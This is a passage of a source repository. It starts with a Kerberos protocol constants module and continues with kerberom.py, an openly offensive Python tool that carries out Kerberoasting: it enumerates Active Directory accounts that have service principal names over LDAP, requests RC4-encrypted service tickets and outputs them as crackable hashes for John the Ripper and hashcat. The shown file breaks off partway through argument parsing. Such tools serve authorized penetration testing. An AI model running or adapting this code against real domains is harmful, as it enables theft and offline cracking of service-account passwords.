to 176 | # principal name 177 | 178 | # 7.5.9. Error Codes 179 | class ErrorCodes(Enum): 180 | KDC_ERR_NONE = 0 # No error 181 | KDC_ERR_NAME_EXP = 1 # Client's entry in database 182 | # has expired 183 | KDC_ERR_SERVICE_EXP = 2 # Server's entry in database 184 | # has expired 185 | KDC_ERR_BAD_PVNO = 3 # Requested protocol version 186 | # number not supported 187 | KDC_ERR_C_OLD_MAST_KVNO = 4 # Client's key encrypted in 188 | # old master key 189 | KDC_ERR_S_OLD_MAST_KVNO = 5 # Server's key encrypted in 190 | # old master key 191 | KDC_ERR_C_PRINCIPAL_UNKNOWN = 6 # Client not found in 192 | # Kerberos database 193 | KDC_ERR_S_PRINCIPAL_UNKNOWN = 7 # Server not found in 194 | # Kerberos database 195 | KDC_ERR_PRINCIPAL_NOT_UNIQUE = 8 # Multiple principal entries 196 | # in database 197 | KDC_ERR_NULL_KEY = 9 # The client or server has a 198 | # null key 199 | KDC_ERR_CANNOT_POSTDATE = 10 # Ticket not eligible for 200 | # postdating 201 | KDC_ERR_NEVER_VALID = 11 # Requested starttime is 202 | # later than end time 203 | KDC_ERR_POLICY = 12 # KDC policy rejects request 204 | KDC_ERR_BADOPTION = 13 # KDC cannot accommodate 205 | # requested option 206 | KDC_ERR_ETYPE_NOSUPP = 14 # KDC has no support for 207 | # encryption type 208 | KDC_ERR_SUMTYPE_NOSUPP = 15 # KDC has no support for 209 | # checksum type 210 | KDC_ERR_PADATA_TYPE_NOSUPP = 16 # KDC has no support for 211 | # padata type 212 | KDC_ERR_TRTYPE_NOSUPP = 17 # KDC has no support for 213 | # transited type 214 | KDC_ERR_CLIENT_REVOKED = 18 # Clients credentials have 215 | # been revoked 216 | KDC_ERR_SERVICE_REVOKED = 19 # Credentials for server have 217 | # been revoked 218 | KDC_ERR_TGT_REVOKED = 20 # TGT has been revoked 219 | KDC_ERR_CLIENT_NOTYET = 21 # Client not yet valid; try 220 | # again later 221 | KDC_ERR_SERVICE_NOTYET = 22 # Server not yet valid; try 222 | # again later 223 | KDC_ERR_KEY_EXPIRED = 23 # Password has expired; 224 | # change password to reset 225 | KDC_ERR_PREAUTH_FAILED = 24 # Pre-authentication 226 | # information was invalid 227 | KDC_ERR_PREAUTH_REQUIRED = 25 # Additional pre- 228 | # authentication required 229 | KDC_ERR_SERVER_NOMATCH = 26 # Requested server and ticket 230 | # don't match 231 | KDC_ERR_MUST_USE_USER2USER = 27 # Server principal valid for 232 | # user2user only 233 | KDC_ERR_PATH_NOT_ACCEPTED = 28 # KDC Policy rejects 234 | # transited path 235 | KDC_ERR_SVC_UNAVAILABLE = 29 # A service is not available 236 | KRB_AP_ERR_BAD_INTEGRITY = 31 # Integrity check on 237 | # decrypted field failed 238 | KRB_AP_ERR_TKT_EXPIRED = 32 # Ticket expired 239 | KRB_AP_ERR_TKT_NYV = 33 # Ticket not yet valid 240 | KRB_AP_ERR_REPEAT = 34 # Request is a replay 241 | KRB_AP_ERR_NOT_US = 35 # The ticket isn't for us 242 | KRB_AP_ERR_BADMATCH = 36 # Ticket and authenticator 243 | # don't match 244 | KRB_AP_ERR_SKEW = 37 # Clock skew too great 245 | KRB_AP_ERR_BADADDR = 38 # Incorrect net address 246 | KRB_AP_ERR_BADVERSION = 39 # Protocol version mismatch 247 | KRB_AP_ERR_MSG_TYPE = 40 # Invalid msg type 248 | KRB_AP_ERR_MODIFIED = 41 # Message stream modified 249 | KRB_AP_ERR_BADORDER = 42 # Message out of order 250 | KRB_AP_ERR_BADKEYVER = 44 # Specified version of key is 251 | # not available 252 | KRB_AP_ERR_NOKEY = 45 # Service key not available 253 | KRB_AP_ERR_MUT_FAIL = 46 # Mutual authentication 254 | # failed 255 | KRB_AP_ERR_BADDIRECTION = 47 # Incorrect message direction 256 | KRB_AP_ERR_METHOD = 48 # Alternative authentication 257 | # method required 258 | KRB_AP_ERR_BADSEQ = 49 # Incorrect sequence number 259 | # in message 260 | KRB_AP_ERR_INAPP_CKSUM = 50 # Inappropriate type of 261 | # checksum in message 262 | KRB_AP_PATH_NOT_ACCEPTED = 51 # Policy rejects transited 263 | # path 264 | KRB_ERR_RESPONSE_TOO_BIG = 52 # Response too big for UDP; 265 | # retry with TCP 266 | KRB_ERR_GENERIC = 60 # Generic error (description 267 | # in e-text) 268 | KRB_ERR_FIELD_TOOLONG = 61 # Field is too long for this 269 | # implementation 270 | KDC_ERROR_CLIENT_NOT_TRUSTED = 62 # Reserved for PKINIT 271 | KDC_ERROR_KDC_NOT_TRUSTED = 63 # Reserved for PKINIT 272 | KDC_ERROR_INVALID_SIG = 64 # Reserved for PKINIT 273 | KDC_ERR_KEY_TOO_WEAK = 65 # Reserved for PKINIT 274 | KDC_ERR_CERTIFICATE_MISMATCH = 66 # Reserved for PKINIT 275 | KRB_AP_ERR_NO_TGT = 67 # No TGT available to 276 | # validate USER-TO-USER 277 | KDC_ERR_WRONG_REALM = 68 # Reserved for future use 278 | KRB_AP_ERR_USER_TO_USER_REQUIRED = 69 # Ticket must be for 279 | # USER-TO-USER 280 | KDC_ERR_CANT_VERIFY_CERTIFICATE = 70 # Reserved for PKINIT 281 | KDC_ERR_INVALID_CERTIFICATE = 71 # Reserved for PKINIT 282 | KDC_ERR_REVOKED_CERTIFICATE = 72 # Reserved for PKINIT 283 | KDC_ERR_REVOCATION_STATUS_UNKNOWN = 73 # Reserved for PKINIT 284 | KDC_ERR_REVOCATION_STATUS_UNAVAILABLE = 74 # Reserved for PKINIT 285 | KDC_ERR_CLIENT_NAME_MISMATCH = 75 # Reserved for PKINIT 286 | KDC_ERR_KDC_NAME_MISMATCH = 76 # Reserved for PKINIT 287 | 288 | ERROR_MESSAGES = { 289 | 0 : ('KDC_ERR_NONE', 'No error'), 290 | 1 : ('KDC_ERR_NAME_EXP', 'Client\'s entry in database has expired'), 291 | 2 : ('KDC_ERR_SERVICE_EXP', 'Server\'s entry in database has expired'), 292 | 3 : ('KDC_ERR_BAD_PVNO', 'Requested protocol version number not supported'), 293 | 4 : ('KDC_ERR_C_OLD_MAST_KVNO', 'Client\'s key encrypted in old master key'), 294 | 5 : ('KDC_ERR_S_OLD_MAST_KVNO', 'Server\'s key encrypted in old master key'), 295 | 6 : ('KDC_ERR_C_PRINCIPAL_UNKNOWN', 'Client not found in Kerberos database'), 296 | 7 : ('KDC_ERR_S_PRINCIPAL_UNKNOWN', 'Server not found in Kerberos database'), 297 | 8 : ('KDC_ERR_PRINCIPAL_NOT_UNIQUE', 'Multiple principal entries in database'), 298 | 9 : ('KDC_ERR_NULL_KEY', 'The client or server has a null key'), 299 | 10 : ('KDC_ERR_CANNOT_POSTDATE', 'Ticket not eligible for postdating'), 300 | 11 : ('KDC_ERR_NEVER_VALID', 'Requested starttime is later than end time'), 301 | 12 : ('KDC_ERR_POLICY', 'KDC policy rejects request'), 302 | 13 : ('KDC_ERR_BADOPTION', 'KDC cannot accommodate requested option'), 303 | 14 : ('KDC_ERR_ETYPE_NOSUPP', 'KDC has no support for encryption type'), 304 | 15 : ('KDC_ERR_SUMTYPE_NOSUPP', 'KDC has no support for checksum type'), 305 | 16 : ('KDC_ERR_PADATA_TYPE_NOSUPP', 'KDC has no support for padata type'), 306 | 17 : ('KDC_ERR_TRTYPE_NOSUPP', 'KDC has no support for transited type'), 307 | 18 : ('KDC_ERR_CLIENT_REVOKED', 'Clients credentials have been revoked'), 308 | 19 : ('KDC_ERR_SERVICE_REVOKED', 'Credentials for server have been revoked'), 309 | 20 : ('KDC_ERR_TGT_REVOKED', 'TGT has been revoked'), 310 | 21 : ('KDC_ERR_CLIENT_NOTYET', 'Client not yet valid; try again later'), 311 | 22 : ('KDC_ERR_SERVICE_NOTYET', 'Server not yet valid; try again later'), 312 | 23 : ('KDC_ERR_KEY_EXPIRED', 'Password has expired; change password to reset'), 313 | 24 : ('KDC_ERR_PREAUTH_FAILED', 'Pre-authentication information was invalid'), 314 | 25 : ('KDC_ERR_PREAUTH_REQUIRED', 'Additional pre-authentication required'), 315 | 26 : ('KDC_ERR_SERVER_NOMATCH', 'Requested server and ticket don\'t match'), 316 | 27 : ('KDC_ERR_MUST_USE_USER2USER', 'Server principal valid for user2user only'), 317 | 28 : ('KDC_ERR_PATH_NOT_ACCEPTED', 'KDC Policy rejects transited path'), 318 | 29 : ('KDC_ERR_SVC_UNAVAILABLE', 'A service is not available'), 319 | 31 : ('KRB_AP_ERR_BAD_INTEGRITY', 'Integrity check on decrypted field failed'), 320 | 32 : ('KRB_AP_ERR_TKT_EXPIRED', 'Ticket expired'), 321 | 33 : ('KRB_AP_ERR_TKT_NYV', 'Ticket not yet valid'), 322 | 34 : ('KRB_AP_ERR_REPEAT', 'Request is a replay'), 323 | 35 : ('KRB_AP_ERR_NOT_US', 'The ticket isn\'t for us'), 324 | 36 : ('KRB_AP_ERR_BADMATCH', 'Ticket and authenticator don\'t match'), 325 | 37 : ('KRB_AP_ERR_SKEW', 'Clock skew too great'), 326 | 38 : ('KRB_AP_ERR_BADADDR', 'Incorrect net address'), 327 | 39 : ('KRB_AP_ERR_BADVERSION', 'Protocol version mismatch'), 328 | 40 : ('KRB_AP_ERR_MSG_TYPE', 'Invalid msg type'), 329 | 41 : ('KRB_AP_ERR_MODIFIED', 'Message stream modified'), 330 | 42 : ('KRB_AP_ERR_BADORDER', 'Message out of order'), 331 | 44 : ('KRB_AP_ERR_BADKEYVER', 'Specified version of key is not available'), 332 | 45 : ('KRB_AP_ERR_NOKEY', 'Service key not available'), 333 | 46 : ('KRB_AP_ERR_MUT_FAIL', 'Mutual authentication failed'), 334 | 47 : ('KRB_AP_ERR_BADDIRECTION', 'Incorrect message direction'), 335 | 48 : ('KRB_AP_ERR_METHOD', 'Alternative authentication method required'), 336 | 49 : ('KRB_AP_ERR_BADSEQ', 'Incorrect sequence number in message'), 337 | 50 : ('KRB_AP_ERR_INAPP_CKSUM', 'Inappropriate type of checksum in message'), 338 | 51 : ('KRB_AP_PATH_NOT_ACCEPTED', 'Policy rejects transited path'), 339 | 52 : ('KRB_ERR_RESPONSE_TOO_BIG', 'Response too big for UDP; retry with TCP'), 340 | 60 : ('KRB_ERR_GENERIC', 'Generic error (description in e-text)'), 341 | 61 : ('KRB_ERR_FIELD_TOOLONG', 'Field is too long for this implementation'), 342 | 62 : ('KDC_ERROR_CLIENT_NOT_TRUSTED', 'Reserved for PKINIT'), 343 | 63 : ('KDC_ERROR_KDC_NOT_TRUSTED', 'Reserved for PKINIT'), 344 | 64 : ('KDC_ERROR_INVALID_SIG', 'Reserved for PKINIT'), 345 | 65 : ('KDC_ERR_KEY_TOO_WEAK', 'Reserved for PKINIT'), 346 | 66 : ('KDC_ERR_CERTIFICATE_MISMATCH', 'Reserved for PKINIT'), 347 | 67 : ('KRB_AP_ERR_NO_TGT', 'No TGT available to validate USER-TO-USER'), 348 | 68 : ('KDC_ERR_WRONG_REALM', 'Reserved for future use'), 349 | 69 : ('KRB_AP_ERR_USER_TO_USER_REQUIRED', 'Ticket must be for USER-TO-USER'), 350 | 70 : ('KDC_ERR_CANT_VERIFY_CERTIFICATE', 'Reserved for PKINIT'), 351 | 71 : ('KDC_ERR_INVALID_CERTIFICATE', 'Reserved for PKINIT'), 352 | 72 : ('KDC_ERR_REVOKED_CERTIFICATE', 'Reserved for PKINIT'), 353 | 73 : ('KDC_ERR_REVOCATION_STATUS_UNKNOWN', 'Reserved for PKINIT'), 354 | 74 : ('KDC_ERR_REVOCATION_STATUS_UNAVAILABLE', 'Reserved for PKINIT'), 355 | 75 : ('KDC_ERR_CLIENT_NAME_MISMATCH', 'Reserved for PKINIT'), 356 | 76 : ('KDC_ERR_KDC_NAME_MISMATCH', 'Reserved for PKINIT'), 357 | } 358 | 359 | class TicketFlags(Enum): 360 | reserved = 0 361 | forwardable = 1 362 | forwarded = 2 363 | proxiable = 3 364 | proxy = 4 365 | may_postdate = 5 366 | postdated = 6 367 | invalid = 7 368 | renewable = 8 369 | initial = 9 370 | pre_authent = 10 371 | hw_authent = 11 372 | transited_policy_checked = 12 373 | ok_as_delegate = 13 374 | enc_pa_rep = 15 375 | anonymous = 16 376 | 377 | class KDCOptions(Enum): 378 | reserved = 0 379 | forwardable = 1 380 | forwarded = 2 381 | proxiable = 3 382 | proxy = 4 383 | allow_postdate = 5 384 | postdated = 6 385 | unused7 = 7 386 | renewable = 8 387 | unused9 = 9 388 | unused10 = 10 389 | opt_hardware_auth = 11 390 | unused12 = 12 391 | unused13 = 13 392 | cname_in_addl_tkt = 14 393 | canonicalize = 15 394 | disable_transited_check = 26 395 | renewable_ok = 27 396 | enc_tkt_in_skey = 28 397 | renew = 30 398 | validate = 31 399 | 400 | class APOptions(Enum): 401 | reserved = 0 402 | use_session_key = 1 403 | mutual_required = 2 404 | 405 | class EncryptionTypes(Enum): 406 | des_cbc_crc = 1 407 | des_cbc_md4 = 2 408 | des_cbc_md5 = 3 409 | _reserved_4 = 4 410 | des3_cbc_md5 = 5 411 | _reserved_6 = 6 412 | des3_cbc_sha1 = 7 413 | dsaWithSHA1_CmsOID = 9 414 | md5WithRSAEncryption_CmsOID = 10 415 | sha1WithRSAEncryption_CmsOID = 11 416 | rc2CBC_EnvOID = 12 417 | rsaEncryption_EnvOID = 13 418 | rsaES_OAEP_ENV_OID = 14 419 | des_ede3_cbc_Env_OID = 15 420 | des3_cbc_sha1_kd = 16 421 | aes128_cts_hmac_sha1_96 = 17 422 | aes256_cts_hmac_sha1_96 = 18 423 | rc4_hmac = 23 424 | rc4_hmac_exp = 24 425 | subkey_keymaterial = 65 426 | 427 | class ChecksumTypes(Enum): 428 | rsa_md5_des = 8 429 | rsa_md4_des = 4 430 | hmac_md5 = -138 431 | hmac_sha1_des3_kd = 12 432 | hmac_sha1_96_aes128 = 15 433 | hmac_sha1_96_aes256 = 16 434 | -------------------------------------------------------------------------------- /kerberom.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | import sys, os 16 | sys.path.append(os.path.realpath(os.path.join(os.path.dirname(__file__), "modules"))) 17 | 18 | import argparse 19 | from random import getrandbits 20 | from time import time, localtime, strftime 21 | import datetime 22 | from ldap3 import Server, Connection, SIMPLE, \ 23 | SYNC, ALL, SASL, NTLM 24 | 25 | from rom.crypto import generate_subkey, ntlm_hash, RC4_HMAC, HMAC_MD5 26 | from rom.krb5 import build_as_req, build_tgs_req, send_req, recv_rep, \ 27 | decrypt_as_rep, decrypt_tgs_rep, extract_tgs_data 28 | from rom.ccache import CCache, kdc_rep2ccache 29 | from rom.util import epoch2gt, gt2epoch 30 | 31 | 32 | LDAP_PORT="389" 33 | 34 | # All not disabled user accounts except 'krbtg' account 35 | LDAP_QUERY = "(&\ 36 | (objectClass=user)\ 37 | (servicePrincipalName=*)\ 38 | (!(objectClass=computer))\ 39 | (!(cn=krbtgt))\ 40 | (!(userAccountControl:1.2.840.113556.1.4.803:=2))\ 41 | )" 42 | 43 | ATTRIBUTES_TO_RETRIEVE = ['sAMAccountName', 44 | 'servicePrincipalName', 45 | 'memberOf', 46 | 'primaryGroupID' 47 | ] 48 | 49 | ccache_file="/tmp/krb5cc_" 50 | 51 | dico_etypes={'1':'des-cbc-crc', 52 | '2':'des-cbc-md4', 53 | '3':'des-cbc-md5', 54 | '5':'des3-cbc-md5', 55 | '7':'des3-cbc-sha1', 56 | '9':'dsaWithSHA1-CmsOID', 57 | '10':'md5WithRSAEncryption-CmsOID', 58 | '11':'sha1WithRSAEncryption-CmsOID', 59 | '12':'rc2CBC-EnvOID', 60 | '13':'rsaEncryption-EnvOID', 61 | '14':'rsaES-OAEP-ENV-OID', 62 | '15':'des-ede3-cbc-Env-OID', 63 | '16':'des3-cbc-sha1-kd', 64 | '17':'aes128-cts-hmac-sha1-96', 65 | '18':'aes256-cts-hmac-sha1-96', 66 | '23':'rc4-hmac', 67 | '24':'rc4-hmac-exp', 68 | '65':'subkey-keymaterial'} 69 | 70 | verbose_level = 0 71 | 72 | class AttackParameters(): 73 | def __init__(self, user_account = None, realm = None, 74 | DC_addr = None, password = None, 75 | implicit_authentication = None, 76 | sid = None, key = None, 77 | auth_gssapi = False, list_spn = None, 78 | tgt = None, session_key = None, 79 | logon_time = None, outputfile_path = None, 80 | time_delta = 0, as_data = {} 81 | ): 82 | 83 | self.user_account = user_account 84 | self.realm = realm 85 | self.DC_addr = DC_addr 86 | self.password = password 87 | self.implicit_authentication = implicit_authentication 88 | self.sid = sid 89 | self.auth_gssapi = auth_gssapi 90 | self.key = key 91 | self.list_spn = list_spn 92 | self.outputfile_path = outputfile_path 93 | self.tgt = tgt 94 | self.session_key = session_key 95 | self.logon_time = logon_time 96 | self.time_delta = time_delta 97 | self.as_data = as_data 98 | 99 | # We ask a TGT with PAC when LDAP connection is made through gssapi 100 | def get_TGT(self, need_pac = False): 101 | DC_addr = self.DC_addr 102 | WRITE_STDOUT("\nAsking '" + DC_addr + "' for a TGT\n") 103 | 104 | WRITE_STDOUT(' [+] Building AS-REQ for %s...' % DC_addr) 105 | 106 | nonce = getrandbits(31) 107 | current_time = time() + self.time_delta 108 | 109 | as_req = build_as_req(self.realm, self.user_account, 110 | self.key, current_time, 111 | nonce, pac_request = need_pac 112 | ) 113 | 114 | WRITE_STDOUT(' Done!\n') 115 | 116 | WRITE_STDOUT(' [+] Sending AS-REQ to %s...' % DC_addr) 117 | sock = send_req(as_req, DC_addr) 118 | WRITE_STDOUT(' Done!\n') 119 | 120 | WRITE_STDOUT(' [+] Receiving AS-REP from %s...' % DC_addr) 121 | data = recv_rep(sock) 122 | WRITE_STDOUT(' Done!\n') 123 | 124 | WRITE_STDOUT(' [+] Parsing AS-REP from %s...' % DC_addr) 125 | as_rep, as_rep_enc = decrypt_as_rep(data, self.key) 126 | 127 | self.as_data["as_rep"]=as_rep 128 | self.as_data["as_rep_enc"] = as_rep_enc 129 | 130 | self.session_key = (int(as_rep_enc['key']['keytype']),\ 131 | str(as_rep_enc['key']['keyvalue'])) 132 | 133 | self.logon_time = gt2epoch(str(as_rep_enc['authtime'])) 134 | self.tgt = as_rep['ticket'] 135 | WRITE_STDOUT(' Done!\n') 136 | 137 | WRITE_STDOUT("TGT retrieved for user '" + self.user_account + "'\n") 138 | 139 | 140 | def Parse_TGT_File(self, tgt_file): 141 | WRITE_STDOUT("\n[+] Parsing TGT file '" + tgt_file + "'\n") 142 | tgt_cache_data = CCache.load(tgt_file) 143 | 144 | tgt_credentials = tgt_cache_data.credentials[0] 145 | self.user_account = "".join(tgt_credentials.client.components) 146 | self.realm = tgt_credentials.client.realm 147 | self.session_key = (int(tgt_credentials.key.keytype), str(tgt_credentials.key.keyvalue)) 148 | 149 | # in CCache format, cipher part is asn1 encoded 150 | self.tgt = decode(tgt_credentials.ticket, asn1Spec=Ticket())[0] 151 | 152 | WRITE_STDOUT(' [+] Extracting TGT and session key... Done!\n\n') 153 | 154 | if tgt_credentials.key.keytype != 23: 155 | WRITE_STDOUT("[+] Warning, encryption type is '" + dico_etypes[str(tgt_credentials.key.keytype)]\ 156 | + "' asking for a new TGT in RC4...\n") 157 | self.tgt = self.Ask_TGT_RC4() 158 | 159 | def TGS_attack(self): 160 | WRITE_STDOUT('\n[+] Iterating through SPN and building '\ 161 | + "corresponding TGS-REQ\n") 162 | 163 | if self.outputfile_path != None: 164 | try: 165 | outputfile = open(self.outputfile_path,'w') 166 | except: 167 | WRITE_STDOUT(' cannot open \'%s\' exiting. \n' % self.outputfile_path) 168 | sys.exit(1) 169 | 170 | # Iterate through list_spn and forge TGS 171 | target_service = target_host = "" 172 | existing_SPN = 0 173 | 174 | for accounts in self.list_spn: 175 | spn = accounts['serviceprincipalname'] 176 | samaccountname = accounts['samaccountname'] 177 | target_service, target_host = spn.split('/', 1) 178 | 179 | # generate Kerberos pre-requesite 180 | subkey = generate_subkey() 181 | nonce = getrandbits(31) 182 | current_time = time() + self.time_delta 183 | 184 | # send custom TGS-REQ packet 185 | sock = self.forge_custom_TGS_REQ(target_service, target_host, 186 | subkey, nonce, current_time, 187 | spn, samaccountname 188 | ) 189 | WRITE_STDOUT(' Done!\n') 190 | 191 | # analyse TGS-REP and extract rc4-ciphered ticket 192 | tgs_rep = parse_TGS_REP(sock, subkey, spn, samaccountname, self.DC_addr)[0] 193 | # Ticket is not rc4-ciphered 194 | if not tgs_rep: 195 | continue 196 | 197 | c="" 198 | 199 | for i in tgs_rep['ticket']['enc-part']['cipher'].asNumbers(): 200 | # zfill make sure a leading '0' is added when needed 201 | c =c + hex(i).replace("0x",'').zfill(2) 202 | existing_SPN = 1 203 | 204 | if self.outputfile_path != None: 205 | outputfile.write(samaccountname + ":$krb5tgs$23$*" + samaccountname + "$"\ 206 | + self.DC_addr + "$" + target_service + "/" + target_host.split(':')[0] + "*$"\ 207 | + c[:32] + "$" + c[32:] + '\n') 208 | else: 209 | sys.stdout.write(samaccountname + ":$krb5tgs$23$*" + samaccountname + "$"\ 210 | + self.DC_addr + "$" + target_service + "/" + target_host.split(':')[0] + "*$"\ 211 | + c[:32] + "$" + c[32:] + '\n') 212 | sys.stdout.flush() 213 | 214 | if self.outputfile_path != None: 215 | outputfile.close() 216 | # where are stored SPN 217 | dirname = os.path.dirname(self.outputfile_path) 218 | # current dir 219 | if dirname == '': 220 | dirname = './' 221 | else: 222 | dirname = dirname + '/' 223 | filename = os.path.basename(self.outputfile_path) 224 | filename = 'SPN_' + filename 225 | 226 | # All went good! 227 | if existing_SPN != 0: 228 | if self.outputfile_path != None: 229 | WRITE_STDOUT("All done! All tickets are stored in a "\ 230 | + "ready-to-crack format in '" + self.outputfile_path\ 231 | + "' and SPN are stored in '" + dirname + filename\ 232 | + "'\n") 233 | else: 234 | sys.stderr.write("There are no accounts with an SPN \n") 235 | sys.stderr.flush() 236 | 237 | def forge_custom_TGS_REQ(self, target_service, target_host, 238 | subkey, nonce, current_time, spn, 239 | samaccountname): 240 | 241 | WRITE_STDOUT(" [+] Building TGS-REQ for SPN '" + spn\ 242 | +"' and account '" + samaccountname\ 243 | + "'...\n") 244 | 245 | tgs_req = build_tgs_req(self.realm, target_service, target_host, 246 | self.realm, self.user_account, self.tgt, 247 | self.session_key, subkey, nonce, 248 | current_time 249 | ) 250 | 251 | WRITE_STDOUT(' Done!\n [+] Sending TGS-REQ to %s...' % self.DC_addr) 252 | return send_req(tgs_req, self.DC_addr) 253 | 254 | 255 | def WRITE_STDOUT(message): 256 | if verbose_level == 1: 257 | sys.stdout.write(message) 258 | sys.stdout.flush() 259 | 260 | 261 | def ldap_get_all_users_spn(AttackParameters, port): 262 | # build DN 263 | DN="DC="+",DC=".join(AttackParameters.realm.split('.')) 264 | 265 | # Kerberos authentication 266 | if AttackParameters.auth_gssapi : 267 | WRITE_STDOUT("\nConnecting to '" + AttackParameters.DC_addr \ 268 | + "' using ldap protocol and"\ 269 | + " Kerberos authentication!\n") 270 | 271 | WRITE_STDOUT(' [+] Creating ticket ccache file %r...' % ccache_file) 272 | cc = CCache((AttackParameters.realm, AttackParameters.user_account)) 273 | tgt_cred = kdc_rep2ccache(AttackParameters.as_data["as_rep"], AttackParameters.as_data["as_rep_enc"]) 274 | cc.add_credential(tgt_cred) 275 | cc.save(ccache_file) 276 | WRITE_STDOUT(' Done!\n') 277 | 278 | WRITE_STDOUT(' [+] Initiating ldap connection using ticket...') 279 | server = ldap3.Server(AttackParameters.DC_addr) 280 | c = ldap3.Connection(server, authentication=ldap3.SASL, sasl_mechanism='GSSAPI') 281 | WRITE_STDOUT(' Done!\n') 282 | 283 | # NTLM authentication 284 | else : 285 | WRITE_STDOUT("Connecting to '" + AttackParameters.DC_addr\ 286 | +"' using ldap protocol and NTLM authentication!\n") 287 | 288 | s = Server(AttackParameters.DC_addr, port=389, get_info=ALL) 289 | 290 | c = Connection(s, 291 | auto_bind=False, 292 | client_strategy=SYNC, 293 | user=AttackParameters.realm+"\\"+AttackParameters.user_account, 294 | password=AttackParameters.password, 295 | authentication=NTLM, 296 | check_names=True) 297 | 298 | # Now we should be connected to the DC through LDAP 299 | try : 300 | c.open() 301 | except : 302 | WRITE_STDOUT("ldap connection error: %s\n") 303 | sys.exit(1) 304 | 305 | try : 306 | r = c.bind() 307 | except: 308 | WRITE_STDOUT("Cannot connect to ldap, exiting.\n") 309 | sys.exit(1) 310 | 311 | # Query to find all accounts having a servicePrincipalName 312 | attributes_to_retrieve = [x.lower() for x in ATTRIBUTES_TO_RETRIEVE] 313 | 314 | c.search(DN, 315 | LDAP_QUERY, 316 | search_scope='SUBTREE', 317 | attributes = attributes_to_retrieve 318 | ) 319 | 320 | if not c.response: 321 | WRITE_STDOUT("Cannot find any SPN, wrong user/credentials?\n") 322 | sys.exit(1) 323 | 324 | WRITE_STDOUT(' [+] Retrieving all SPN and corresponding accounts...') 325 | 326 | # construct path to SPN_outfile to store LDAP response 327 | if AttackParameters.outputfile_path != None: 328 | outputfile_spn = "" 329 | dirname = os.path.dirname(AttackParameters.outputfile_path) 330 | # current dir 331 | if dirname == '': 332 | dirname = './' 333 | else: 334 | dirname = dirname + '/' 335 | filename = os.path.basename(AttackParameters.outputfile_path) 336 | filename = 'SPN_' + filename 337 | outputfile_spn = open(dirname + filename, 'w') 338 | 339 | # iterate through results to construc dico[{'attribute':'value'},{}, etc.] for each "{}" account 340 | dico_users_spn = [] 341 | for matching_object in c.response: 342 | if matching_object.has_key('attributes'): 343 | dico_account={} 344 | for attribute, value in matching_object['attributes'].items(): 345 | # delimiter of SPN is ';' in AD but ',' using ldap3 structures 346 | if attribute.lower() == "serviceprincipalname" and len(attribute) > 1: 347 | # only need one SPN for the attack 348 | value = value[0] 349 | if attribute.lower() in attributes_to_retrieve: 350 | if type(value) is int: 351 | dico_account[attribute.encode("utf8").lower()] = str(value) 352 | else: 353 | value = "".join(value).encode("utf8") 354 | dico_account[attribute.encode("utf8").lower()] = value.lower() 355 | dico_users_spn.append(dico_account) 356 | 357 | # Disconnecting from DC 358 | WRITE_STDOUT(' Done!\n') 359 | c.unbind() 360 | WRITE_STDOUT("Successfully disconnected from '"\ 361 | + AttackParameters.DC_addr + "'\n") 362 | 363 | # write to SPN_outputfile 364 | if AttackParameters.outputfile_path != None: 365 | for accounts in dico_users_spn: 366 | line_to_write = accounts['samaccountname']+'$'\ 367 | +accounts['serviceprincipalname'] 368 | if accounts.has_key('memberof'): 369 | line_to_write = line_to_write + '$' + accounts['memberof'] 370 | if accounts.has_key('primarygroupid'): 371 | line_to_write = line_to_write + '$primaryGroupID:'\ 372 | + accounts['primarygroupid'] 373 | outputfile_spn.write(line_to_write + '\n') 374 | outputfile_spn.close() 375 | 376 | return dico_users_spn 377 | 378 | 379 | def construct_list_spn_from_file(inputfile): 380 | dico_users_spn = [] 381 | for line in inputfile: 382 | line_treated = line.strip().split('$') 383 | dico_users_spn.append({'samaccountname':line_treated[0],\ 384 | 'serviceprincipalname':line_treated[1]}) 385 | return dico_users_spn 386 | 387 | 388 | def parse_TGS_REP(sock, subkey, spn, samaccountname, kdc_addr): 389 | WRITE_STDOUT(' [+] Receiving TGS-REP from %s...' % kdc_addr) 390 | data = recv_rep(sock) 391 | WRITE_STDOUT(' Done!\n') 392 | 393 | WRITE_STDOUT(' [+] Parsing TGS-REP from %s...' % kdc_addr) 394 | tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey) 395 | 396 | # MAGIC, not RC4 received... 397 | if len(tgs_rep) == 2 and not tgs_rep_enc: 398 | WRITE_STDOUT(' Only rc4-hmac supported and encryption type\ 399 | is \'%s\'. Skipping this account...\n\n' %\ 400 | dico_etypes[tgs_rep]) 401 | return None, None 402 | else: 403 | WRITE_STDOUT(" Done!\n[+] Got encrypted ticket for SPN '"\ 404 | + spn + "' and account '" + samaccountname + "'\n") 405 | return tgs_rep, tgs_rep_enc 406 | 407 | 408 | def parse_arguments(): 409 | parser = argparse.ArgumentParser(description="Tool to retrieve all accounts\ 410 | having an SPN and their TGS in arc4-hmac encrypted blob. Output is ready-to-crack for John The Ripper\ 411 | 'krb5tgs' and hashcat 13100 formats, by jean-christophe.delaunay synacktiv.com") 412 | 413 | group = parser.add_mutually_exclusive_group(required=False) 414 | group2 = parser.add_mutually_exclusive_group(required=False) 415 | 416 | parser.add_argument('--implicit', required=False, help="use Windows implicit\ 417 | authentication mechanism. Format is (FQDN/IP)_DomainController[:port]@FQDN_Domain. eg: 192.168.13.13:389@infra.kerberos.com") 418 | 419 | parser.add_argument('-u', '--username', required=False, help="format must be\ 420 | userName@DomainFQDN. eg: fistouille@infra.kerberos.com") 421 | 422 | parser.add_argument('-d', '--domainControlerAddr', required=False, help="domain\ 423 | Controler FQDN. Can be an IP but ldap retrieval through kerberos method will not\ 424 | work (-k)") 425 | 426 | parser.add_argument('-o', '--outputfile', required=False, help="outputfile where\ 427 | to store results and extracted accounts having an SPN (to be used with '-i' afterward)") 428 | 429 | parser.add_argument('-iK', '--input_TGT_File', required=False, help="user's provided file\ 430 | containing TGT. Parsing is determined by extension (.ccache for Linux\ 431 | , Windows is yet to be implemented)") 432 | 433 | group.add_argument('-p', '--password', required=False, help="clear password\ 434 | submitted. Cannot be used with '--hash'") 435 | 436 | group.add_argument('--hash', required=False, help="user's hash key. Format is \"LM:NT\".\ 437 | Cannot be used with '-p'") 438 | 439 | parser.add_argument('-v', '--verbose', required=False, action='store_const', const=1, 440 